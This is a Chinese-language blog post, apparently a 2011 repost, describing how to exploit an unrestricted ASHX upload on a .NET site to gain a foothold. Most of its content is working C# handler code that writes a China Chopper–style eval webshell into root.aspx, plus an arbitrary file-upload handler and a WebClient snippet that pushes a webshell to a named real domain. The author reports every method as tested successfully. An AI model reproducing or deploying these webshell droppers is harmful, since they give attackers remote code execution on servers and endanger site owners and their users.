关于Ashx脚本写aspx木马的方法汇总 原创hackfreer2011-02-17 07:55:55评论(2)

简介:

Author:Pnig0s1992

某站,.Net环境,上传处未限制Ashx和Asmx,后者上传无法运行,提示Asmx脚本只能在本地运行,于是打算先传个Ashx脚本然后在当前目录下生成Aspx文件(目标不能执行Asp文件),

网上找到如下Ashx代码:

 
  1. <%@ WebHandler Language="C#" Class="Handler" %> 
  2.  
  3. using System; 
  4. using System.Web; 
  5. using System.IO; 
  6. public class Handler : IHttpHandler { 
  7.     
  8.     public void ProcessRequest (HttpContext context) { 
  9.         context.Response.ContentType = "text/plain"
  10.          
  11.         StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx")); 
  12.         file1.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"pass\"],\"unsafe\");%>"); 
  13.         file1.Flush(); 
  14.         file1.Close(); 
  15.          
  16.     } 
  17.  
  18.     public bool IsReusable { 
  19.         get { 
  20.             return false
  21.         } 
  22.     } 
  23.  

我将脚本中的Asp一句话改成菜刀的Aspx一句话~不过执行的时候爆错,说未知指令@Page。遂采用一下2种方式解决:

1,用String连接字符串

 

 
  1. <%@ WebHandler Language="C#" Class="Handler" %> 
  2.  
  3. using System; 
  4. using System.Web; 
  5. using System.IO; 
  6. public class Handler : IHttpHandler { 
  7.      
  8.     public void ProcessRequest (HttpContext context) { 
  9.         context.Response.ContentType = "text/plain"
  10.         string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>"
  11.         StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx")); 
  12.         file1.Write(show); 
  13.         file1.Flush(); 
  14.         file1.Close(); 
  15.          
  16.     } 
  17.  
  18.     public bool IsReusable { 
  19.         get { 
  20.             return false
  21.         } 
  22.     } 
  23.  

2.比较笨的方法,看代码吧

 

 
  1. <%@ WebHandler Language="C#" Class="Uploader" %> 
  2. using System; 
  3. using System.IO; 
  4. using System.Web;    
  5.  
  6. public class Uploader : IHttpHandler 
  7.     public void ProcessRequest(HttpContext hc) 
  8.     { 
  9.         foreach (string fileKey in hc.Request.Files) 
  10.         { 
  11.             HttpPostedFile file = hc.Request.Files[fileKey]; 
  12.             file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName)); 
  13.         } 
  14.     }    
  15.  
  16.     public bool IsReusable 
  17.     { 
  18.         get { return true; } 
  19.     } 

然后用VS建立WinForm程序~主函数里写:

 

 
  1. System.Net.WebClient myWebClient = new System.Net.WebClient(); 
  2. myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx""POST""C:\\ma.aspx"); 

执行就可以了~以上方法均测试成功~

P.S:Thx from T00ls.







本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/495155,如需转载请自行联系原作者



相关文章
|
NoSQL 安全 MongoDB
MongoDB 未授权访问漏洞利用
MongoDB 未授权访问漏洞利用
2642 0
|
存储 域名解析 供应链
阿里云 OSS对象存储攻防
本文分为两个部分 第一部分介绍OSS对象存储攻防的方式 第二部分为真实漏洞案例
3405 0
阿里云 OSS对象存储攻防
|
9月前
|
监控 图形学
Unity 倒计时的实现
在 Unity 中实现倒计时功能,主要利用 `Time.deltaTime` 进行精确的时间计算和监控。本文介绍两种常见实现方法:一是通过 `WaitForSeconds(1)` 每秒递减时间,二是基于 `Update()` 函数每帧减去 `Time.deltaTime`。代码中包含详细的注释和示例,需确保挂载 Text 组件以显示倒计时。
|
9月前
|
小程序 测试技术 数据安全/隐私保护
微信公众号接口测试实战指南
微信公众号接口测试是确保系统稳定性和功能完整性的重要环节。本文详细介绍了测试全流程,包括准备、工具选择(如Postman、JMeter)、用例设计与执行,以及常见问题的解决方法。通过全面测试,可以提前发现潜在问题,优化用户体验,确保公众号上线后稳定运行。内容涵盖基础接口、高级接口、微信支付和数据统计接口的测试,强调了功能验证、性能优化、安全保护及用户体验的重要性。未来,随着微信生态的发展,接口测试将面临更多挑战和机遇,如小程序融合、AI应用和国际化拓展。
|
IDE 开发工具 虚拟化
EFI VMware Virtual SCSI Hard Drive (0.0) ... No Media
EFI VMware Virtual SCSI Hard Drive (0.0) ... No Media
|
Java Linux Docker
使用Docker构建轻量级Linux容器
使用Docker构建轻量级Linux容器
513 0
|
数据安全/隐私保护
BUUCTF 面具下的flag 1
BUUCTF 面具下的flag 1
782 0
|
数据挖掘 Linux 数据安全/隐私保护
BUUCTF 二维码 1
BUUCTF 二维码 1
1403 0
|
Java Windows 移动开发
Java读取文件的四种方式
按字节读取文件内容 按字符读取文件内容 按行读取文件内容 随机读取文件内容    public class ReadFromFile { /** * 以字节为单位读取文件,常用于读二进制文件,如图片、声音、影像等文件。
6691 56
|
开发框架 API 网络安全
新型开源C2框架:浩劫
新型开源C2框架:浩劫